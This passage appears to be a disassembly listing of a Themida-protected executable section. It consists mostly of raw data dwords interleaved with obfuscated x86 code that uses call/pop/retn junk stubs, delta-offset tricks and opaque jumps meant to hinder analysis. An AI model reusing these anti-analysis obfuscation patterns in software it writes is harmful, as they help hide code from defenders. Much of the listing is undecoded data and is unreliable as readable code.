0BF0F0614h, 6A61D9h, 0A29B589h dd 858D0614h, 617E493h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0FAC35747h, 2D3D8CBBh, 0F854B6Eh, 688h dd 71858900h, 0E9061430h, 12h, 44CA1022h, 627C48DEh, 70DB12A0h dd 34796580h, 0C08376F9h, 71BD0105h, 90061423h, 0EE9h dd 58CC8F00h, 0C694F390h, 6B4D2DC2h, 50F55CCEh, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 6EAC22A1h, 6A5287B4h, 6E900h, 0FC800000h, 3CB1C6A5h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 37D7B6C3h, 898E7EDCh, 142585B5h, 7195FF06h dd 8B06141Ah, 0FC9D8DF1h, 8B0617A8h, 141191BDh, 0F8D3FF06h dd 236D85FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 5B0605C3h, 8AD98C17h, 2BB5B58Bh dd 2CE90614h, 0E8000008h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 617E49Dh push 0 push ebp call sub_58708E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58708E proc near ; CODE XREF: Themida_:00587086p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_58708E endp ; --------------------------------------------------------------------------- dw 2817h dd 2ABEC0E0h, 81113159h, 141AA5BDh, 7D006h, 5860F00h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 3845C352h, 0BD235724h, 6142301h, 0C99D8B5Eh dd 8B06141Ah, 1406EDBDh, 0E38106h, 0B000001h, 74850FDBh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 89E6C352h, 0D78166FDh, 0BD83D66Dh dd 617E31Fh, 23840F00h, 0E9000000h, 13h, 0F27B4742h, 37036C3Eh dd 0E67CAC98h, 9CA1BC35h, 0E994F719h, 37h, 1165B52Bh, 85C70614h dd 617E31Fh, 1, 810Fh, 1CE90000h, 8B000000h, 0C9B460F8h dd 1B798D89h, 0C7610614h, 17E31F85h, 6, 41BD2300h, 8D061409h dd 141AC99Dh, 9E906h, 0DB320000h, 0B7D1B450h, 81AFA577h dd 0FFFEFF23h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0EFF2B25Fh, 76588218h dd 0F88B664Dh, 6ADB8C66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0AE12C353h, 0C48D54D9h dd 0C3F6AAC5h, 5D840F04h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 71BC350h dd 0AFBA1D5h, 0BD8B2517h, 61423BDh, 157D8D29h, 95FF0614h dd 6142E45h, 2625BD8Bh, 89500614h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 397D51C3h dd 40DE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 391406B4h, 85A922CCh, 0BD8B00B0h dd 61400ADh, 0E68170E6h, 9983FA7h, 0BF6671E4h, 0B60F60FEh dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0E58D294Ch, 0F5061423h, 6BAh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 748646E1h, 0F727BC7h, 11870F53h, 0E9000000h, 0Ch, 0FBDB3B86h dd 1F0601D4h, 76AB46DCh, 0FC38B5Eh, 187h, 0E8C1FC00h, 6E904h dd 8AA0000h, 5CD4E811h, 6AE2F766h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F6B9C350h dd 28029682h, 0E46D4825h, 94DB523h, 0D82B0614h, 20FDB533h dd 8B500614h, 241C89F7h, 0D158529h, 0CE90614h, 0D7000000h dd 936610CEh, 127E98C9h, 0FF2F0F99h, 141AA5B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0BA6C47ADh, 66D33BBEh, 6B66DF81h, 116995FFh, 6A0614h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0BDC796C3h, 0F00B0B8h, 1A8Fh, 3BB46000h, 11E9h, 4B8D6500h dd 0DA395AD2h, 0B3CDFA8Dh, 0B03B65CAh, 0E661D74Bh, 56006A70h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 6DEA4F06h, 5EA584BEh, 0BD8BC9A9h, 6140FE5h, 7FBF71E4h dd 3C557EF5h, 53830F61h, 0BF000002h, 53BBA622h, 0E9D8B60Fh dd 0Ch, 0B4B564B3h, 75ACBFA4h, 42BFDA23h, 6BAh, 68BE6600h dd 6AC38B27h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0BFDDC350h, 592F6521h, 6A04E8C1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 801EC352h, 9217B1C3h, 29A19589h, 0F7660614h dd 6AD82BE2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 20F9C356h, 58095FF1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8EC35747h, 0FDED0BCh dd 68Bh, 0E19D8900h, 29061420h, 14221DBDh, 0FD82B06h, 18588h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 6E87Bh, 22E20000h, 5B66C8EFh, 0E966D681h dd 0B95F7993h, 7, 3101B58Bh, 0C1830614h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 5F5DDB85h, 413953C5h, 0D93BF55Ah, 11C860Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0DA57D1C3h, 25CD9D31h, 8C660614h, 4DBD89D9h, 0F606141Bh dd 840F04C1h, 0DEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 1AC35545h, 0B32EBE29h, 0BD29069Fh, 6140F4Dh dd 2E4595FFh, 0F28B0614h, 13E860h, 3850000h, 7FA6BF5Eh dd 6ED57299h, 1ED247C3h, 0B1C2E2C1h, 0BD9D31E0h, 5806141Fh dd 10D28166h, 895B61D0h, 142E41BDh, 6AC32B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0D657C351h, 862BAC35h, 78802DC7h, 8343Dh, 4F860F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 3B8C352h, 8B106163h, 14223DB5h dd 2CE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0E4D73DC3h, 447A338Bh, 0C08B990Eh dd 2ADB58Bh, 0C38B0614h, 0B58BD88Bh, 6140BE1h, 53185C7h dd 1B510614h, 840F564Fh, 6, 2B1DB58Bh, 0C08B0614h, 3C5BD8Bh dd 0BD810614h, 6141AA5h, 7D0h, 3D850Fh, 890F0000h, 6, 22E5B58Bh dd 85FF0614h, 6141AA5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0EAC35040h, 0EF5841C7h, 205FD20Eh, 0D58D8927h dd 0FF061422h, 141AA5B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 90D17753h dd 8B604672h, 14307D8Dh, 13E806h, 18010000h, 0E1D41B14h dd 7F1D2A2Dh, 0DC0E11B6h, 0FC3227E7h, 0DF81667Fh, 615FA1E3h dd 116995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0A18952C3h, 0B58B2567h, 6142C91h dd 0A890F90h, 0F000000h, 489h, 0E2BE6600h, 0ADBD8B5Bh dd 8B061402h, 142EADBDh, 418D8906h, 8B061423h, 140361BDh dd 0D9D0106h, 29061414h, 14114D9Dh, 2DB58906h, 66061408h dd 0E97C0ABFh, 10h, 3FCC0419h, 1B568236h, 252F5B3Eh, 5A1EBDE5h dd 0EBE68166h, 31B58B05h, 0F906141Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 1BC35242h, 5B6F6265h, 538C860Eh dd 10D5BD8Bh, 0BD8B0614h, 614095Dh, 10E95Fh, 41A10000h dd 0EF95CF2h, 0CFA6CF74h, 0D1C8A0B8h, 6A1DE3h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0C5BD02C3h, 932F3949h, 89D585E0h, 143041B5h, 5BD2B06h dd 0FC061423h, 2E95BD2Bh, 8B660614h, 0BD9589F8h, 6A061412h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 4FCCC353h, 0D084CBD0h, 0DE681D6h, 0E91FE57Ah dd 0Bh, 9EEFA82Ah, 3F8876Ah, 0E9DAC823h, 0FFFFF80Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 20C35646h, 979F3011h dd 9D9589B1h, 8906142Ah, 1425B58Dh, 74BE6606h, 0DD9D3135h dd 8B061414h, 0EABE66C1h, 4EB33h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 89FBC355h, 142EC19Dh, 7E806h, 0C4150000h, 0FF2D348Dh dd 0A59589D7h, 5E061419h, 0BEDB58Bh, 820F0614h, 6, 0B1D0D781h dd 858D60C7h, 6140F99h, 1853150h, 5F06140Fh, 21318589h dd 66500614h, 489FE8Bh, 97BE6624h, 0FC006A68h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0E90ED4C3h, 20B98D89h, 858D0614h, 617EE8Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F5C35545h, 0F19D01D3h dd 83061420h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0B09276C3h, 7E958h, 526E0000h, 75A310B1h dd 68E0F30h, 8B000000h, 142FA5B5h, 0FB8B9006h, 8B665250h dd 0F905FF0h, 6AF6BFh, 9D8BF960h, 61423E5h, 0E8006A61h dd 0Fh, 622DE9B3h, 0D12F8727h, 12AE5DF8h, 66434EE9h, 0FF5FF38Bh dd 141A7195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 2942A032h, 8B666FD4h, 0FC9D8DF1h dd 6A0617A8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0AB7DC355h, 0D3FFA507h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 30C35040h, 6F3A2522h dd 86B09EBFh, 0AE948h, 0EF620000h, 3BC4F88h, 7EB79247h dd 1695BD89h, 85FF0614h, 614236Dh, 4820Fh, 0BE660000h dd 6FE9F079h, 0E8000009h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 617EE99h push 0 push ecx call sub_587A8A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587A8A proc near ; CODE XREF: Themida_:00587A82p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_587A8A endp ; --------------------------------------------------------------------------- mov ds:6FB3C05Dh, al inc edx scasb mov ebp, esi mov si, bx cmp dword ptr [ebp+6141AA5h], 7D0h jbe loc_587BCB add di, 35B1h mov ebx, [ebp+6140E2Dh] and ebx, 100h mov [ebp+6140655h], esi or ebx, ebx jnz loc_587B26 mov di, si cmp dword ptr [ebp+617ECCCh], 0 jz loc_587AED jmp loc_587B53 ; --------------------------------------------------------------------------- movsx edi, ax loc_587AED: ; CODE XREF: Themida_:00587ADFj mov dword ptr [ebp+617ECCCh], 1 push 0 push ebp call sub_587B02 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587B02 proc near ; CODE XREF: Themida_:00587AFAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_587B02 endp ; --------------------------------------------------------------------------- dec esi add [eax-75h], al mov ch, 95h sub dl, [esi+eax] jmp loc_587B53 ; --------------------------------------------------------------------------- mov esi, [ebp+6141AC1h] loc_587B26: ; CODE XREF: Themida_:00587ACFj mov dword ptr [ebp+617ECCCh], 0 push 0 push edi call sub_587B3B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587B3B proc near ; CODE XREF: Themida_:00587B33p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_587B3B endp ; --------------------------------------------------------------------------- mov edx, 0A4F41CA7h inc esp das loc_587B53: ; CODE XREF: Themida_:00587AE5j ; Themida_:00587B1Bj lea ebx, [ebp+6140E2Dh] push 0 push ecx call sub_587B64 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587B64 proc near ; CODE XREF: Themida_:00587B5Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_587B64 endp ; --------------------------------------------------------------------------- dd 23E0C1ACh, 9D09AC57h, 6140361h, 0CE8h, 9570F600h, 0C864287Bh dd 9C6EA445h, 8985293Ch, 5E06141Ah, 6860Fh, 0BD8B0000h dd 6142121h, 0FEFF2381h, 0CE81FFFFh, 5640F6E1h, 7E860h dd 0E6300000h, 7870FE1h, 39BD8901h, 5B06140Ch, 257D9D89h ; --------------------------------------------------------------------------- adc al, 6 popa loc_587BCB: ; CODE XREF: Themida_:00587AB0j mov bx, ds push 0 push ebp call sub_587BD9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587BD9 proc near ; CODE XREF: Themida_:00587BD1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_587BD9 endp ; --------------------------------------------------------------------------- db 7, 31h, 0E9h dd 8, 4D60347Ah, 0F8645880h, 0F04C3F6h, 8784h, 0B9666000h dd 858B668Bh, 61422E5h, 4595FF61h, 6A06142Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 9122C352h, 1637410Ch, 0BE677D9Fh, 2A94B26Bh, 0BE525090h dd 436AE186h, 5250310Fh, 310F5250h, 310F585Ah, 585A585Ah dd 0CE950h, 40CC0000h, 52853746h, 310E8C16h, 6A90AE8Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 537CC351h, 73830906h, 52EE9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0A8262CFBh, 2D285ABBh, 2615B58Bh, 0B00614h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CBC35242h, 8E9h dd 0CF26AD00h, 5B9EEE38h, 6A70E64Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BC7C356h dd 1430E1B5h, 6880F06h, 29000000h, 143161B5h, 0E971E406h dd 12h, 8184DA46h, 8672D060h, 29E138F8h, 93EDC6C9h, 958952BEh dd 6140251h, 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FBCC357h, 68Bh, 85BD0B00h dd 0BA061410h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 79C35646h, 8B74D480h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BE666F9Bh dd 0E8C1927Fh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 160EBD1h, 14347D9Dh, 0E2F76606h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9FC35747h dd 0BE8h, 7591BD00h, 88BF6076h, 0CD90123Fh, 6E8h, 0E7F68400h dd 0B5A2D11h, 140319B5h, 815F5E06h, 4C2C2CFh, 6AD82B41h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 1EF5C355h, 459A2E82h, 0F78B667Eh, 52506093h dd 310F6160h, 13E9h, 81826300h, 22255AF6h, 0EE4B1908h dd 411CC24Fh, 5482FC27h, 0B966585Ah, 50611914h, 6A93F78Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 24F7C355h, 7B6EDDE1h, 0CE815156h, 50DF17F1h dd 0B5FF5E5Fh, 6141AA5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0AC35343h, 0BE9F9ECh, 11000000h, 8575461Eh dd 0A8383968h, 12E935EDh, 0FB000000h, 0FD111786h, 0A43F4A8Bh dd 0FD62118h, 0D1D8DA22h, 6995FF53h, 81061411h, 374CD9F6h dd 6A00B068h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0B5F3C356h, 0BE660FE9h, 70E660FFh dd 61148DBEh, 8B71E40Eh, 14100DB5h, 0F613C06h, 29A83h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 7E651F65h, 51887155h, 0B70F60F1h, 0EAF681DEh dd 611FE8F4h, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 92C1C350h, 6BAA1h dd 85890000h, 6142215h, 6AC38Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0C2E5E8C3h, 2AA6C04Ah dd 0B58B0E58h, 6140081h, 6A04E8C1h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9EA0C352h dd 669CB995h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 9D89FDC3h, 61409F9h, 0BD0BD82Bh dd 6141A31h, 0E898589h, 0F9580614h, 880FD82Bh, 1B3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D1C35242h, 2B0D9529h dd 7B90614h, 66000000h, 0C183FB8Bh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 89268BC9h dd 142BD5BDh, 0B5BD8B06h, 3B061409h, 54860FD9h, 0F000001h dd 685h, 9D950100h, 66061431h, 5E9D98Ch, 0FF000000h, 0CD36B090h dd 0C1F65F51h, 0F840F04h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B7B8C350h dd 890DD204h, 140B798Dh, 95FFF806h, 6142E45h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5AC35242h, 0D3F37D93h dd 0BE8601Ch, 48000000h, 21F5C3A4h, 5152CEC9h, 9D895AFBh dd 61416DDh, 6A5B5Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0BD8BAFC3h, 61409A9h, 6AC32BF5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0B6DDC350h, 2E1F48A7h, 8343Dh, 57860F00h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 3928C353h, 0B4908378h, 0E95EAE91h dd 4Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h dd 0C0C35040h, 13F8F7DDh, 8E9C5h, 0B9D60000h, 945FA69Fh dd 0C08BA712h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0B6C35545h, 8BDC37D7h, 6AD88BC3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FAAC356h dd 684h, 0ADBD2900h, 0C706142Ah, 141AC985h, 2B89D506h dd 53006A10h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0D2E04AE2h, 8E19A5D1h, 0BD895B8Ah, 6140FBDh dd 8D89C08Bh, 61406C9h, 1AA5BD81h, 7D00614h, 850F0000h dd 53h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h dd 0EC35545h, 609B7B9Eh, 8948C480h, 141685BDh, 0B70F6106h dd 0A585FFFFh, 6A06141Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0BB71C352h, 0FF44D79Dh dd 141AA5B5h, 0D7816606h, 95FF68FDh, 6141169h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FC35646h, 0D2FA7095h dd 5009B593h, 55BD01F2h, 90061402h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0DBC35141h, 0B36630C2h, 6A6735h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 816679C3h, 0BF80C9CEh, 5E520F7Dh, 8BF0B70Fh, 0F08B66F0h dd 67DBD8Bh, 56FC0614h, 8B525FF8h, 1414C5BDh, 8D895F06h dd 6142BBDh, 0F890Fh, 89600000h, 1431958Dh, 820FFC06h dd 0 ; --------------------------------------------------------------------------- popa push 0 push ecx call sub_58834C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58834C proc near ; CODE XREF: Themida_:00588344p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_58834C endp ; --------------------------------------------------------------------------- mov [edi+49A11354h], dh mov edi, esi mov esi, [ebp+6141FB5h] push 0 push edi call sub_588375 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588375 proc near ; CODE XREF: Themida_:0058836Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_588375 endp ; --------------------------------------------------------------------------- db 63h, 71h, 2Eh ; --------------------------------------------------------------------------- dec edi xor edi, [ebp+6141B7Dh] mov di, 4F7Fh mov di, ax jmp loc_5883A4 ; --------------------------------------------------------------------------- db 0EEh ; --------------------------------------------------------------------------- retn 9645h ; --------------------------------------------------------------------------- jecxz short loc_5883D9 and bl, [ebp+40h] loc_5883A4: ; CODE XREF: Themida_:00588396j mov esi, edx push 0 push ebx call sub_5883B1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5883B1 proc near ; CODE XREF: Themida_:005883A9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5883B1 endp ; --------------------------------------------------------------------------- db 40h, 0F9h, 0EAh dd 0F6A9E9D7h, 830FFFFFh, 12h, 68D0Fh, 0BD8B0000h db 7Dh ; --------------------------------------------------------------------------- loc_5883D9: ; CODE XREF: Themida_:0058839Fj das adc al, 6 loc_5883DC: ; DATA XREF: Themida_:00549360o sub esi, 677D7D89h mov eax, ecx sub edi, [ebp+6141129h] jmp short loc_5883F0 ; --------------------------------------------------------------------------- align 10h loc_5883F0: ; CODE XREF: Themida_:005883EAj push 0 push ebx call sub_5883FB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5883FB proc near ; CODE XREF: Themida_:005883F3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5883FB endp ; --------------------------------------------------------------------------- test al, 0C2h scasd xchg eax, ebx pusha mov [ebp+6140B95h], esi pusha loc_588417: ; CODE XREF: Themida_:0058842Fj mov [ebp+6143501h], ecx popa popa jb loc_588431 jmp loc_588431 ; --------------------------------------------------------------------------- dw 3512h ; --------------------------------------------------------------------------- rcr byte ptr [ebx], 0F0h jb short loc_588417 loc_588431: ; CODE XREF: Themida_:0058841Fj ; Themida_:00588425j push 0 push edi call sub_58843C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58843C proc near ; CODE XREF: Themida_:00588434p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_58843C endp ; --------------------------------------------------------------------------- pusha jg $+6 lea eax, [ebp+6140F99h] push eax jns $+6 mov [esp], eax push 0 push edi call sub_58846E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58846E proc near ; CODE XREF: Themida_:00588466p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_58846E endp ; --------------------------------------------------------------------------- pop ecx sub al, [ecx+14A9B58Bh] adc al, 6 push 0 push 0 push ebp call sub_588494 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588494 proc near ; CODE XREF: Themida_:0058848Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_588494 endp ; --------------------------------------------------------------------------- dd 6AFA8BC4h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0CEAE810Ah, 858D32E9h, 617F9FAh dd 0FD7DE681h, 0C08319A2h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 196BF660h dd 8C0FAB64h, 6, 11A58509h, 60900614h, 0F525051h, 5A585A31h dd 6A905061h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0E544C351h, 73F68157h, 5E1284BEh dd 0B49B58Bh, 6A0614h, 0F3D8589h, 6A0614h, 306DBD89h, 95FF0614h dd 6141A71h, 5A1BD8Bh, 9D8D0614h, 617A8FCh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h, 83468421h dd 21F04046h, 4EF8166h, 0FD3FF41h, 1A8Ah, 14890F00h, 0E8000000h dd 0Eh, 96A80AFh, 9948D15Fh, 5778ADC5h, 0FF5FC32Bh, 14236D85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0CBAD56BCh, 6479B583h, 86BF660Bh, 88AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5885DE: ; DATA XREF: Themida_:00549B1Co ; Themida_:00549D84o call $+5 pop ebp sub ebp, 617FA04h mov di, 0B1B9h jmp loc_5885FC ; --------------------------------------------------------------------------- db 0DBh dd 6829AE22h, 96EF108Dh ; --------------------------------------------------------------------------- loc_5885FC: ; CODE XREF: Themida_:005885EEj cmp dword ptr [ebp+6141AA5h], 7D0h jbe loc_58873F push 0 push ecx call sub_588617 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588617 proc near ; CODE XREF: Themida_:0058860Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_588617 endp ; --------------------------------------------------------------------------- db 0FCh dd 0A86DC4F5h, 9D8B29C8h, 6142A05h, 7E9h, 0E4C4A600h, 0C7203F66h dd 100E381h, 0BE660000h, 0DB0B7063h, 8C850Fh, 8B660000h dd 0DBD83F9h, 617F8h, 41840Fh, 14E80000h, 39000000h, 8288F25h dd 94CC8B7Fh, 6D005109h, 3599186Ch, 0F76E705h, 0E95FFFB7h dd 67h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h dd 62C35646h, 0C7671035h, 17F80D85h, 106h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0BAA35F4Bh, 9F55242Bh, 15E9A2h, 0F8510000h, 8B66515Fh dd 85C75EF7h, 617F80Dh, 0 ; --------------------------------------------------------------------------- movsx edi, dx lea ebx, [ebp+6142A05h] push 0 push eax call sub_5886FC and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5886FC proc near ; CODE XREF: Themida_:005886F4p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5886FC endp ; --------------------------------------------------------------------------- dd 2280375Bh, 0D1195ED5h, 0D5B58BA2h, 8106141Fh, 0FFFEFF23h dd 12E8FFh, 52AE0000h, 1E89F9F1h, 0B60FAA4Eh, 0ECAA2D61h dd 0A8F05199h, 2F65B529h ; --------------------------------------------------------------------------- adc al, 6 pop edi loc_58873F: ; CODE XREF: Themida_:00588606j mov bx, ds sub [ebp+6142F35h], ecx test bl, 4 jz loc_5887C8 push 0 push ebx call sub_58875C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58875C proc near ; CODE XREF: Themida_:00588754p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_58875C endp ; --------------------------------------------------------------------------- sub al, 0Fh sbb [edx-388574h], ah xchg eax, ebp inc ebp db 2Eh adc al, 6 push 0 push esi call sub_588784 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588784 proc near ; CODE XREF: Themida_:0058877Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_588784 endp ; --------------------------------------------------------------------------- dd 7482DCBBh, 0D98D01E3h, 1061404h, 